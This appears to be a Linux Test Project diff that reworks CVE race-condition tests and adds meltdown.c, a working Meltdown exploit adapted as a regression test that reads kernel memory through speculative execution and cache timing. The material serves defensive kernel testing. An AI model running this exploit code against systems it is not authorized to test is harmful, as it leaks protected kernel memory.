 	f = SAFE_FOPEN("/proc/self/maps", "r");
 	while (fgets(line, BUFSIZ, f) != NULL) {
-		if (strstr(line, "/[aio]") != NULL)
+		if (strstr(line, "[aio]") != NULL)
 			goto found_mapping;
 	}
-	tst_brk(TBROK, "Could not find mapping in /proc/self/maps");
+	tst_brk(TCONF, "Could not find mapping in /proc/self/maps");
 
 found_mapping:
 	if (sscanf(line, "%*x-%*x %s7", perms) < 0)
@@ -63,6 +63,9 @@
 	else
 		tst_res(TPASS, "AIO mapping is not executable: %s", perms);
 
+	if (tst_syscall(__NR_io_destroy, ctx))
+		tst_brk(TBROK | TERRNO, "Failed to destroy AIO context");
+
 	SAFE_FCLOSE(f);
 	f = NULL;
 }
diff --git a/testcases/cve/cve-2016-7117.c b/testcases/cve/cve-2016-7117.c
index deb6677..3cb7efc 100644
--- a/testcases/cve/cve-2016-7117.c
+++ b/testcases/cve/cve-2016-7117.c
@@ -71,7 +71,7 @@
 };
 #endif
 
-static int socket_fds[2];
+static volatile int socket_fds[2];
 static struct mmsghdr msghdrs[2] = {
 	{
 		.msg_hdr = {
@@ -94,40 +94,53 @@
 static char rbuf[sizeof(MSG)];
 static struct timespec timeout = { .tv_sec = RECV_TIMEOUT };
 static struct tst_fzsync_pair fzsync_pair = TST_FZSYNC_PAIR_INIT;
+static pthread_t pt_send;
+static void *send_and_close(void *);
+
+static void setup(void)
+{
+	SAFE_PTHREAD_CREATE(&pt_send, 0, send_and_close, 0);
+}
 
 static void cleanup(void)
 {
 	close(socket_fds[0]);
 	close(socket_fds[1]);
+
+	if (pt_send) {
+		tst_fzsync_pair_exit(&fzsync_pair);
+		SAFE_PTHREAD_JOIN(pt_send, 0);
+	}
 }
 
 static void *send_and_close(void *arg)
 {
-	send(socket_fds[0], MSG, sizeof(MSG), 0);
-	send(socket_fds[0], MSG, sizeof(MSG), 0);
+	while (tst_fzsync_wait_update_b(&fzsync_pair)) {
+		send(socket_fds[0], MSG, sizeof(MSG), 0);
+		send(socket_fds[0], MSG, sizeof(MSG), 0);
 
-	tst_fzsync_delay_b(&fzsync_pair);
+		tst_fzsync_delay_b(&fzsync_pair);
 
-	close(socket_fds[0]);
-	close(socket_fds[1]);
-	tst_fzsync_time_b(&fzsync_pair);
-
+		close(socket_fds[0]);
+		close(socket_fds[1]);
+		tst_fzsync_time_b(&fzsync_pair);
+		if (!tst_fzsync_wait_b(&fzsync_pair))
+			break;
+	}
 	return arg;
 }
 
 static void run(void)
 {
-	pthread_t pt_send;
 	int i, stat, too_early_count = 0;
 
 	msghdrs[0].msg_hdr.msg_iov->iov_base = (void *)&rbuf;
 
 	for (i = 1; i < ATTEMPTS; i++) {
-		if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, socket_fds))
+		if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, (int *)socket_fds))
 			tst_brk(TBROK | TERRNO, "Socket creation failed");
 
-		SAFE_PTHREAD_CREATE(&pt_send, 0, send_and_close, 0);
-
+		tst_fzsync_wait_update_a(&fzsync_pair);
 		tst_fzsync_delay_a(&fzsync_pair);
 
 		stat = tst_syscall(__NR_recvmmsg,
@@ -140,20 +153,14 @@
 		else if (stat < 0)
 			tst_res(TWARN | TERRNO, "recvmmsg failed unexpectedly");
 
-		SAFE_PTHREAD_JOIN(pt_send, 0);
-
-		tst_fzsync_pair_update(i, &fzsync_pair);
-		if (!(i & 0x7FFFF)) {
-			tst_res(TINFO, "Too early: %.1f%%",
-				100 * too_early_count / (float)i);
-			tst_fzsync_pair_info(&fzsync_pair);
-		}
+		tst_fzsync_wait_a(&fzsync_pair);
 	}
 
 	tst_res(TPASS, "Nothing happened after %d attempts", ATTEMPTS);
 }
 
 static struct tst_test test = {
+	.setup = setup,
 	.test_all = run,
 	.cleanup = cleanup,
 	.min_kver = "2.6.33",
diff --git a/testcases/cve/cve-2017-2618.c b/testcases/cve/cve-2017-2618.c
index e6b30e8..e1e94f6 100644
--- a/testcases/cve/cve-2017-2618.c
+++ b/testcases/cve/cve-2017-2618.c
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017 Fujitsu Ltd.
+ * Copyright (c) 2017 FUJITSU LIMITED
  * Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
  *
  * This program is free software: you can redistribute it and/or modify
@@ -35,6 +35,12 @@
 #define LOOPS	100
 #define PATH_ATTRFS	"/proc/self/attr/fscreate"
 
+static void setup(void)
+{
+	if (access(PATH_ATTRFS, F_OK))
+		tst_brk(TCONF, "%s does not exist", PATH_ATTRFS);
+}
+
 static void do_test(void)
 {
 	int i, fd;
@@ -55,5 +61,6 @@
 
 static struct tst_test test = {
 	.forks_child = 1,
+	.setup = setup,
 	.test_all = do_test,
 };
diff --git a/testcases/cve/cve-2017-2671.c b/testcases/cve/cve-2017-2671.c
index 77744db..b0471bf 100644
--- a/testcases/cve/cve-2017-2671.c
+++ b/testcases/cve/cve-2017-2671.c
@@ -49,13 +49,15 @@
 
 #include "tst_fuzzy_sync.h"
 
-#define ATTEMPTS 0xFFFF
+#define ATTEMPTS 0x80000
 #define PING_SYSCTL_PATH "/proc/sys/net/ipv4/ping_group_range"
 
 static int sockfd;
 static unsigned int ping_min_grp, ping_max_grp;
 static struct tst_fzsync_pair fzsync_pair = TST_FZSYNC_PAIR_INIT;
 static struct sockaddr_in iaddr, uaddr;
+static pthread_t thrd;
+static void *connect_b(void *);
 
 static void setup(void)
 {
@@ -73,13 +75,20 @@
 	SAFE_FILE_PRINTF(PING_SYSCTL_PATH, "0 0");
 
 	sockfd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
+	SAFE_PTHREAD_CREATE(&thrd, 0, connect_b, 0);
 	tst_res(TINFO, "Created ping socket, attempting to race...");
 }
 
 static void cleanup(void)
 {
+	if (thrd) {
+		tst_fzsync_pair_exit(&fzsync_pair);
+		SAFE_PTHREAD_JOIN(thrd, NULL);
+	}
+
 	if (sockfd > 0)
 		SAFE_CLOSE(sockfd);
+
 	if (ping_min_grp | ping_max_grp)
 		SAFE_FILE_PRINTF(PING_SYSCTL_PATH, "%u %u",
 				 ping_min_grp, ping_max_grp);
@@ -87,32 +96,31 @@
 
 static void *connect_b(void * param LTP_ATTRIBUTE_UNUSED)
 {
-	tst_fzsync_delay_b(&fzsync_pair);
-	connect(sockfd, (struct sockaddr *)&uaddr, sizeof(uaddr));
-	tst_fzsync_time_b(&fzsync_pair);
+	while(tst_fzsync_wait_update_b(&fzsync_pair)) {
+		tst_fzsync_delay_b(&fzsync_pair);
+		connect(sockfd, (struct sockaddr *)&uaddr, sizeof(uaddr));
+		tst_fzsync_time_b(&fzsync_pair);
+		if (!tst_fzsync_wait_b(&fzsync_pair))
+			break;
+	}
 
 	return 0;
 }
 
 static void run(void)
 {
-	pthread_t thrd;
 	int i;
 
 	for (i = 0; i < ATTEMPTS; i++) {
 		SAFE_CONNECT(sockfd,
 			     (struct sockaddr *)&iaddr, sizeof(iaddr));
-		SAFE_PTHREAD_CREATE(&thrd, 0, connect_b, 0);
 
+		tst_fzsync_wait_update_a(&fzsync_pair);
 		tst_fzsync_delay_a(&fzsync_pair);
 		connect(sockfd, (struct sockaddr *)&uaddr, sizeof(uaddr));
 		tst_fzsync_time_a(&fzsync_pair);
 
-		SAFE_PTHREAD_JOIN(thrd, 0);
-		tst_fzsync_pair_update(i, &fzsync_pair);
-
-		if (!(i & 0x7FFF))
-			tst_fzsync_pair_info(&fzsync_pair);
+		tst_fzsync_wait_a(&fzsync_pair);
 	}
 
 	tst_res(TPASS, "We didn't crash");
diff --git a/testcases/cve/meltdown.c b/testcases/cve/meltdown.c
new file mode 100644
index 0000000..dce84a0
--- /dev/null
+++ b/testcases/cve/meltdown.c
@@ -0,0 +1,364 @@
+/*
+ * Copyright (c) 2018 Pavel Boldin <pboldin@cloudlinux.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ *
+ * Original exploit: https://github.com/paboldin/meltdown-exploit.
+ */
+
+#include "config.h"
+#include "tst_test.h"
+
+#if defined(__x86_64__) || defined(__i386__)
+
+#include <stdio.h>
+#include <string.h>
+#include <signal.h>
+#include <ucontext.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <ctype.h>
+#include <sys/utsname.h>
+
+#include <emmintrin.h>
+
+#include "libtsc.h"
+
+#define TARGET_OFFSET	9
+#define TARGET_SIZE	(1 << TARGET_OFFSET)
+#define BITS_BY_READ	2
+
+static char target_array[BITS_BY_READ * TARGET_SIZE];
+
+static void
+clflush_target(void)
+{
+	int i;
+
+	for (i = 0; i < BITS_BY_READ; i++)
+		_mm_clflush(&target_array[i * TARGET_SIZE]);
+}
+
+extern char failshere[];
+extern char stopspeculate[];
+
+static void __attribute__((noinline))
+speculate(unsigned long addr, char bit)
+{
+	register char mybit asm ("cl") = bit;
+#ifdef __x86_64__
+	asm volatile (
+		"1:\n\t"
+
+		".rept 300\n\t"
+		"add $0x141, %%rax\n\t"
+		".endr\n"
+
+		"failshere:\n\t"
+		"movb (%[addr]), %%al\n\t"
+		"ror %[bit], %%rax\n\t"
+		"and $1, %%rax\n\t"
+		"shl $9, %%rax\n\t"
+		"jz 1b\n\t"
+
+		"movq (%[target], %%rax, 1), %%rbx\n"
+
+		"stopspeculate: \n\t"
+		"nop\n\t"
+		:
+		: [target] "r" (target_array),
+		  [addr] "r" (addr),
+		  [bit] "r" (mybit)
+		: "rax", "rbx"
+	);
+#else /* defined(__x86_64__) */
+	asm volatile (
+		"1:\n\t"
+
+		".rept 300\n\t"
+		"add $0x141, %%eax\n\t"
+		".endr\n"
+
+		"failshere:\n\t"
+		"movb (%[addr]), %%al\n\t"
+		"ror %[bit], %%eax\n\t"
+		"and $1, %%eax\n\t"
+		"shl $9, %%eax\n\t"
+		"jz 1b\n\t"
+
+		"movl (%[target], %%eax, 1), %%ebx\n"
+
+		"stopspeculate: \n\t"
+		"nop\n\t"
+		:
+		: [target] "r" (target_array),
+		  [addr] "r" (addr),
+		  [bit] "r" (mybit)
+		: "rax", "ebx"
+	);
+#endif
+}
+
+#ifdef __i386__
+# define REG_RIP	REG_EIP
+#endif
+
+static void
+sigsegv(int sig LTP_ATTRIBUTE_UNUSED,
+	siginfo_t *siginfo LTP_ATTRIBUTE_UNUSED,
+	void *context LTP_ATTRIBUTE_UNUSED)
+{
+	ucontext_t *ucontext = context;
+	unsigned long *prip = (unsigned long *)&ucontext->uc_mcontext.gregs[REG_RIP];
+	if (*prip != (unsigned long)failshere) {
+		tst_brk(TBROK,
+			"Segmentation fault at unexpected location %lx",
+			*prip);
+		abort();
+	}
+	*prip = (unsigned long)stopspeculate;
+	return;
+}
+
+static int
+set_signal(void)
+{
+	struct sigaction act = {
+		.sa_sigaction = sigsegv,
+		.sa_flags = SA_SIGINFO,
+	};
+
+	return sigaction(SIGSEGV, &act, NULL);
+}
+
+static inline int
+get_access_time(volatile char *addr)
+{
+	unsigned long long time1, time2;
+	volatile int j LTP_ATTRIBUTE_UNUSED;
+
+	rdtscll(time1);
+
+	j = *addr;
+
+	_mm_mfence();
+	rdtscll(time2);
+
+	return time2 - time1;
+}
+
+static int cache_hit_threshold;
+static int hist[BITS_BY_READ];
+
+static void
+check(void)
+{
+	int i, time;
+	volatile char *addr;
+
+	for (i = 0; i < BITS_BY_READ; i++) {
+		addr = &target_array[i * TARGET_SIZE];
+
+		time = get_access_time(addr);
+
+		if (time <= cache_hit_threshold)
+			hist[i]++;
+	}
+}
+
+#define CYCLES 10000
+static int
+readbit(int fd, unsigned long addr, char bit)
+{
+	int i, ret;
+	static char buf[256];
+
+	memset(hist, 0, sizeof(hist));
+
+	for (i = 0; i < CYCLES; i++) {
+		ret = pread(fd, buf, sizeof(buf), 0);
+		if (ret < 0)
+			tst_res(TBROK | TERRNO, "can't read /proc/version");
+
+		clflush_target();
+
+		speculate(addr, bit);
+		check();
+	}
+
+#ifdef DEBUG
+	for (i = 0; i < BITS_BY_READ; i++)
+		tst_res(TINFO, "addr %lx hist[%x] = %d", addr, i, hist[i]);
+#endif
+
+	if (hist[1] > CYCLES / 10)
+		return 1;
+	return 0;
+}
+
+static int
+readbyte(int fd, unsigned long addr)
+{
+	int bit, res = 0;
+
+	for (bit = 0; bit < 8; bit ++ )
+		res |= (readbit(fd, addr, bit) << bit);
+
+	return res;
+}
+
+
+static int
+mysqrt(long val)
+{
+	int root = val / 2, prevroot = 0, i = 0;
+
+	while (prevroot != root && i++ < 100) {
+		prevroot = root;
+		root = (val / root + root) / 2;
+	}
+
+	return root;
+}
+
+#define ESTIMATE_CYCLES	1000000
+static void
+set_cache_hit_threshold(void)
+{
+	long cached, uncached, i;
+
+	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
+		cached += get_access_time(target_array);
+
+	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
+		cached += get_access_time(target_array);
+
+	for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
+		_mm_clflush(target_array);
+		uncached += get_access_time(target_array);
+	}
+
+	cached /= ESTIMATE_CYCLES;
+	uncached /= ESTIMATE_CYCLES;
+
+	cache_hit_threshold = mysqrt(cached * uncached);
+
+	tst_res(TINFO,
+		"access time: cached = %ld, uncached = %ld, threshold = %d",
+		cached, uncached, cache_hit_threshold);
+}
+
+static unsigned long
+find_symbol_in_file(const char *filename, const char *symname)
+{
+	unsigned long addr;
+	char type;
+	int ret, read;
+	char fmt[strlen(symname) + 64];
+
+	sprintf(fmt, "%%lx %%c %s%%c", symname);
+
+	ret = SAFE_FILE_LINES_SCANF(filename, fmt, &addr, &type, &read);
+	if (ret)
+		return 0;
+
+	return addr;
+}
+
+static unsigned long
+find_kernel_symbol(const char *name)
+{
+	char systemmap[256];
+	struct utsname utsname;
+	unsigned long addr;
+
+	addr = find_symbol_in_file("/proc/kallsyms", name);
+	if (addr)
+		return addr;
+
+	tst_res(TINFO, "not found '%s' in /proc/kallsyms", name);
+	if (uname(&utsname) < 0)
+		tst_brk(TBROK | TERRNO, "uname");
+
+	sprintf(systemmap, "/boot/System.map-%s", utsname.release);
+
+	tst_res(TINFO, "looking in '%s'\n", systemmap);
+	addr = find_symbol_in_file(systemmap, name);
+	return addr;
+}
+
+unsigned long linux_proc_banner_addr;
+int banner_fd;
+
+static void setup(void)
+{
+	set_cache_hit_threshold();
+
+	linux_proc_banner_addr = find_kernel_symbol("linux_proc_banner");
+	tst_res(TINFO, "linux_proc_banner is at %lx", linux_proc_banner_addr);
+
+	banner_fd = SAFE_OPEN("/proc/version", O_RDONLY);
+
+	memset(target_array, 1, sizeof(target_array));
+
+	if (set_signal() < 0)
+		tst_res(TBROK | TERRNO, "set_signal");
+}
+
+static void run(void)
+{
+	unsigned int i, score, ret;
+	static char expected[] = "%s version %s";
+	static char read[32];
+	unsigned long addr = linux_proc_banner_addr;
+	unsigned long size = sizeof(expected) - 1;
+
+	for (i = 0; i < size; i++) {
+		ret = readbyte(banner_fd, addr);
+
+		read[i] = ret;
+		tst_res(TINFO, "read %lx = 0x%x %c", addr, ret,
+			isprint(ret) ? ret : ' ');
+
+		addr++;
+	}
+
+	for (score = 0, i = 0; i < size; i++)
+		if (expected[i] == read[i])
+			score++;
+
+	if (score > size / 2)
+		tst_res(TFAIL, "I was able to read your kernel memory!!!");
+	else
+		tst_res(TPASS, "I was not able to read your kernel memory");
+}
+
+static void cleanup(void)
+{
+	SAFE_CLOSE(banner_fd);
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.setup = setup,
+	.test_all = run,
+	.cleanup = cleanup,
+	.min_kver = "2.6.32"
+};
+
+#else /* #if defined(__x86_64__) || defined(__i386__) */
+
+TST_TEST_TCONF("not x86_64 or i386");
+
+#endif /* #else #if defined(__x86_64__) || defined(__i386__) */
diff --git a/testcases/cve/stack_clash.c b/testcases/cve/stack_clash.c
index 49c45ef..f25e19b 100644
--- a/testcases/cve/stack_clash.c
+++ b/testcases/cve/stack_clash.c
@@ -256,7 +256,7 @@
 		}
 	}
 
-	tst_brk(TBROK, "child did not exit gracefully");
+	tst_brk(TBROK, "Child %s", tst_strstatus(status));
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/containers/TEST_PLAN.txt b/testcases/kernel/containers/TEST_PLAN.txt
index 4b3d2bc..809abae 100644
--- a/testcases/kernel/containers/TEST_PLAN.txt
+++ b/testcases/kernel/containers/TEST_PLAN.txt
@@ -19,7 +19,7 @@
 NAME						TENTATIVE-TIME
 =================================================================================
 PID NAMESPACES					(NEAR FUTURE)
-NETWROK NAMESPACES				(NEAR FUTURE)
+NETWORK NAMESPACES				(NEAR FUTURE)
 POSIX IPC NAMESPACES				(NEAR FUTURE)
 TTY+CONSOLE+DEVPTS NAMESPACES			(NEAR FUTURE)
 PROC+SYSFS ISOLATION				(NEAR FUTURE)
diff --git a/testcases/kernel/containers/pidns/pidns05.c b/testcases/kernel/containers/pidns/pidns05.c
index cdcf76a..8462243 100644
--- a/testcases/kernel/containers/pidns/pidns05.c
+++ b/testcases/kernel/containers/pidns/pidns05.c
@@ -49,6 +49,7 @@
 #include <errno.h>
 #include "pidns_helper.h"
 #include "test.h"
+#include "safe_macros.h"
 
 #define INIT_PID	1
 #define CINIT_PID	1
@@ -230,9 +231,7 @@
 
 	pid = getpid();
 	pgid = getpgid(pid);
-	ret = pipe(fd);
-	if (ret == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "pipe failed");
+	SAFE_PIPE(NULL, fd);
 
 	TEST(do_clone_unshare_test(T_CLONE, CLONE_NEWPID,
 				   create_nested_container, (void *)&count));
diff --git a/testcases/kernel/containers/pidns/pidns20.c b/testcases/kernel/containers/pidns/pidns20.c
index 630e6c3..e28bcbd 100644
--- a/testcases/kernel/containers/pidns/pidns20.c
+++ b/testcases/kernel/containers/pidns/pidns20.c
@@ -48,6 +48,7 @@
 #include <stdio.h>
 #include "pidns_helper.h"
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "pidns20";
 int TST_TOTAL = 1;
@@ -179,9 +180,7 @@
 	}
 
 	/* Enqueue SIGUSR1 in pending signal queue of container */
-	if (kill(cpid, SIGUSR1) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL, "kill() failed");
-	}
+	SAFE_KILL(NULL, cpid, SIGUSR1);
 
 	tst_resm(TINFO, "parent: signalled SIGUSR1 to container");
 	if (write(parent_cinit[1], "p:go", 5) != 5) {
@@ -189,9 +188,7 @@
 	}
 
 	/* collect exit status of child */
-	if (wait(&status) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL, "wait failed");
-	}
+	SAFE_WAIT(NULL, &status);
 
 	if (WIFSIGNALED(status)) {
 		if (WTERMSIG(status) == SIGUSR1)
diff --git a/testcases/kernel/containers/sysvipc/shmem_2nstest.c b/testcases/kernel/containers/sysvipc/shmem_2nstest.c
index 49fe19b..b172ee0 100644
--- a/testcases/kernel/containers/sysvipc/shmem_2nstest.c
+++ b/testcases/kernel/containers/sysvipc/shmem_2nstest.c
@@ -45,6 +45,7 @@
 #include <sys/shm.h>
 #include <libclone.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "ipcns_helper.h"
 
 #define TESTKEY    124426L
@@ -132,10 +133,8 @@
 	}
 
 	/* Using PIPE's to sync between containers and Parent */
-	if (pipe(p1) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "pipe1 error");
-	if (pipe(p2) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "pipe2 error");
+	SAFE_PIPE(NULL, p1);
+	SAFE_PIPE(NULL, p2);
 
 	if (strcmp(argv[1], "clone") == 0) {
 		use_clone = T_CLONE;
diff --git a/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c b/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c
index a7c131f..ad291a1 100644
--- a/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c
+++ b/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c
@@ -226,8 +226,7 @@
 
 	int i;
 	for (i = 0; i < odir_num; ++i) {
-		if (closedir(odir[i]) == -1)
-			tst_brkm(TBROK, NULL, "Failed to close dir\n");
+		SAFE_CLOSEDIR(NULL, odir[i]);
 	}
 
 	char *cwd = tst_get_tmpdir();
@@ -237,17 +236,11 @@
 	for (i = 0; i < cgrp_opt_num; ++i) {
 		if (cgrp_opt[i].subdir) {
 			SAFE_CHDIR(NULL, cgrp_opt[i].dir);
-			if (rmdir(subdir_name) == -1) {
-				tst_brkm(TBROK | TERRNO, NULL,
-					"Can't remove dir");
-			}
+			SAFE_RMDIR(NULL, subdir_name);
 			SAFE_CHDIR(NULL, "..");
 		}
 		if (cgrp_opt[i].mounted) {
-			if (umount(cgrp_opt[i].dir) == -1) {
-				tst_brkm(TBROK | TERRNO, NULL,
-					"Can't unmount: %s", cgrp_opt[i].dir);
-			}
+			SAFE_UMOUNT(NULL, cgrp_opt[i].dir);
 		}
 	}
 
diff --git a/testcases/kernel/controllers/cpuctl/cpuctl_def_task01.c b/testcases/kernel/controllers/cpuctl/cpuctl_def_task01.c
index ae6a374..90119e4 100644
--- a/testcases/kernel/controllers/cpuctl/cpuctl_def_task01.c
+++ b/testcases/kernel/controllers/cpuctl/cpuctl_def_task01.c
@@ -57,6 +57,7 @@
 
 #include "../libcontrollers/libcontrollers.h"
 #include "test.h"		/* LTP harness APIs */
+#include "safe_macros.h"
 
 #ifdef DEBUG
 #define dbg(x...)	printf(x);
@@ -137,9 +138,7 @@
 	write_to_file(mysharesfile, "w", myshares);
 	dbg("Default task's initial shares = %u", myshares);
 
-	fd = open("./myfifo", 0);
-	if (fd == -1)
-		tst_brkm(TBROK, cleanup, "Could not open fifo to synchronizae");
+	fd = SAFE_OPEN(cleanup, "./myfifo", 0);
 
 	read(fd, &ch, 1);	/* To fire all the tasks up at the same time */
 
diff --git a/testcases/kernel/controllers/cpuctl/cpuctl_def_task02.c b/testcases/kernel/controllers/cpuctl/cpuctl_def_task02.c
index 5fb3559..dc1546e 100644
--- a/testcases/kernel/controllers/cpuctl/cpuctl_def_task02.c
+++ b/testcases/kernel/controllers/cpuctl/cpuctl_def_task02.c
@@ -60,6 +60,7 @@
 
 #include "../libcontrollers/libcontrollers.h"
 #include "test.h"		/* LTP harness APIs */
+#include "safe_macros.h"
 
 #define TIME_INTERVAL	30	/* Time interval in seconds */
 #define NUM_INTERVALS	3	/* How many iterations of TIME_INTERVAL */
@@ -148,10 +149,7 @@
 	pid = getpid();
 	write_to_file(mytaskfile, "a", pid);	/* Assign task to it's group */
 
-	fd = open("./myfifo", 0);
-	if (fd == -1)
-		tst_brkm(TBROK, cleanup,
-			 "Could not open fifo for synchronization");
+	fd = SAFE_OPEN(cleanup, "./myfifo", 0);
 
 	read(fd, &ch, 1);	/* Block task here to synchronize */
 
diff --git a/testcases/kernel/controllers/cpuctl/cpuctl_def_task03.c b/testcases/kernel/controllers/cpuctl/cpuctl_def_task03.c
index af4695f..92b4517 100644
--- a/testcases/kernel/controllers/cpuctl/cpuctl_def_task03.c
+++ b/testcases/kernel/controllers/cpuctl/cpuctl_def_task03.c
@@ -61,6 +61,7 @@
 
 #include "../libcontrollers/libcontrollers.h"
 #include "test.h"		/* LTP harness APIs */
+#include "safe_macros.h"
 
 #define TIME_INTERVAL	30	/* Time interval in seconds */
 #define NUM_INTERVALS	2	/* How many iterations of TIME_INTERVAL */
@@ -144,9 +145,7 @@
 	pid = getpid();
 	write_to_file(mytaskfile, "a", pid);	/* Assign task to it's group */
 
-	fd = open("./myfifo", 0);
-	if (fd == -1)
-		tst_brkm(TBROK, cleanup, "Could not open fifo synchronize");
+	fd = SAFE_OPEN(cleanup, "./myfifo", 0);
 
 	read(fd, &ch, 1);	/* Block task here to synchronize */
 
diff --git a/testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c b/testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c
index 9a7da9b..c3348fb 100644
--- a/testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c
+++ b/testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c
@@ -61,6 +61,7 @@
 
 #include "../libcontrollers/libcontrollers.h"
 #include "test.h"		/* LTP harness APIs */
+#include "safe_macros.h"
 
 #define TIME_INTERVAL	100	/* Time interval in seconds */
 #define NUM_INTERVALS	2	/* How many iterations of TIME_INTERVAL */
@@ -154,9 +155,7 @@
 	mygroup_shares = 100;
 	write_to_file(mysharesfile, "w", mygroup_shares);
 
-	fd = open("./myfifo", 0);
-	if (fd == -1)
-		tst_brkm(TBROK, cleanup, "Could not open fifo synchronize");
+	fd = SAFE_OPEN(cleanup, "./myfifo", 0);
 
 	read(fd, &ch, 1);	/* Block task here to synchronize */
 
diff --git a/testcases/kernel/controllers/cpuctl/cpuctl_test01.c b/testcases/kernel/controllers/cpuctl/cpuctl_test01.c
index 385ee32..0cd587c 100644
--- a/testcases/kernel/controllers/cpuctl/cpuctl_test01.c
+++ b/testcases/kernel/controllers/cpuctl/cpuctl_test01.c
@@ -62,6 +62,7 @@
 
 #include "../libcontrollers/libcontrollers.h"
 #include "test.h"		/* LTP harness APIs */
+#include "safe_macros.h"
 
 #define TIME_INTERVAL	30	/* Time interval in seconds */
 #define NUM_INTERVALS	3	/* How many iterations of TIME_INTERVAL */
@@ -139,11 +140,7 @@
 	write_to_file(mytaskfile, "a", pid);	/* Assign the task to it's group */
 	write_to_file(mysharesfile, "w", myshares);
 
-	fd = open("./myfifo", 0);
-	if (fd == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "Could not open fifo for synchronization");
-	}
+	fd = SAFE_OPEN(cleanup, "./myfifo", 0);
 
 	fprintf(stdout, "\ntask-%d SHARES=%lu\n", my_group_num, myshares);
 	read(fd, &ch, 1);	/* To block all tasks here and fire them up at the same time */
diff --git a/testcases/kernel/controllers/cpuctl/cpuctl_test02.c b/testcases/kernel/controllers/cpuctl/cpuctl_test02.c
index 6f5a0d9..d775a3e 100644
--- a/testcases/kernel/controllers/cpuctl/cpuctl_test02.c
+++ b/testcases/kernel/controllers/cpuctl/cpuctl_test02.c
@@ -61,6 +61,7 @@
 
 #include "../libcontrollers/libcontrollers.h"
 #include "test.h"		/* LTP harness APIs */
+#include "safe_macros.h"
 
 #define TIME_INTERVAL	30	/* Time interval in seconds */
 #define NUM_INTERVALS	3	/* How many iterations of TIME_INTERVAL */
@@ -151,11 +152,7 @@
 	pid = getpid();
 	write_to_file(mytaskfile, "a", pid);	/* Assign the task to it's group */
 
-	fd = open("./myfifo", 0);
-	if (fd == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "Could not open fifo for synchronization");
-	}
+	fd = SAFE_OPEN(cleanup, "./myfifo", 0);
 
 	read(fd, &ch, 1);	/* To block all tasks here and fire them up at the same time */
 
diff --git a/testcases/kernel/controllers/cpuctl/cpuctl_test03.c b/testcases/kernel/controllers/cpuctl/cpuctl_test03.c
index 5076ab9..8a80d69 100644
--- a/testcases/kernel/controllers/cpuctl/cpuctl_test03.c
+++ b/testcases/kernel/controllers/cpuctl/cpuctl_test03.c
@@ -61,6 +61,7 @@
 
 #include "../libcontrollers/libcontrollers.h"
 #include "test.h"		/* LTP harness APIs */
+#include "safe_macros.h"
 
 #define TIME_INTERVAL	30	/* Time interval in seconds */
 #define NUM_INTERVALS	2	/* How many iterations of TIME_INTERVAL */
@@ -147,11 +148,7 @@
 	pid = getpid();
 	write_to_file(mytaskfile, "a", pid);	/* Assign the task to it's group */
 
-	fd = open("./myfifo", 0);
-	if (fd == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "Could not open fifo for synchronization");
-	}
+	fd = SAFE_OPEN(cleanup, "./myfifo", 0);
 
 	read(fd, &ch, 1);	/* To block all tasks here and fire them up at the same time */
 
diff --git a/testcases/kernel/controllers/cpuctl/cpuctl_test04.c b/testcases/kernel/controllers/cpuctl/cpuctl_test04.c
index 0daca0e..bc67f41 100644
--- a/testcases/kernel/controllers/cpuctl/cpuctl_test04.c
+++ b/testcases/kernel/controllers/cpuctl/cpuctl_test04.c
@@ -61,6 +61,7 @@
 
 #include "../libcontrollers/libcontrollers.h"
 #include "test.h"		/* LTP harness APIs */
+#include "safe_macros.h"
 
 #define TIME_INTERVAL	100	/* Time interval in seconds */
 #define NUM_INTERVALS	2	/* How many iterations of TIME_INTERVAL */
@@ -158,11 +159,7 @@
 
 	write_to_file(mytaskfile, "a", getpid());	/* Assign the task to it's group */
 
-	fd = open("./myfifo", 0);
-	if (fd == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "Could not open fifo for synchronization");
-	}
+	fd = SAFE_OPEN(cleanup, "./myfifo", 0);
 
 	read(fd, &ch, 1);	/* To block all tasks here and fire them up at the same time */
 
diff --git a/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c b/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c
index b382896..9b67e37 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c
+++ b/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c
@@ -50,6 +50,7 @@
 #include "test.h"
 #include "lapi/syscalls.h"
 #include "config.h"
+
 #if HAVE_LINUX_MEMPOLICY_H
 #include <linux/mempolicy.h>
 
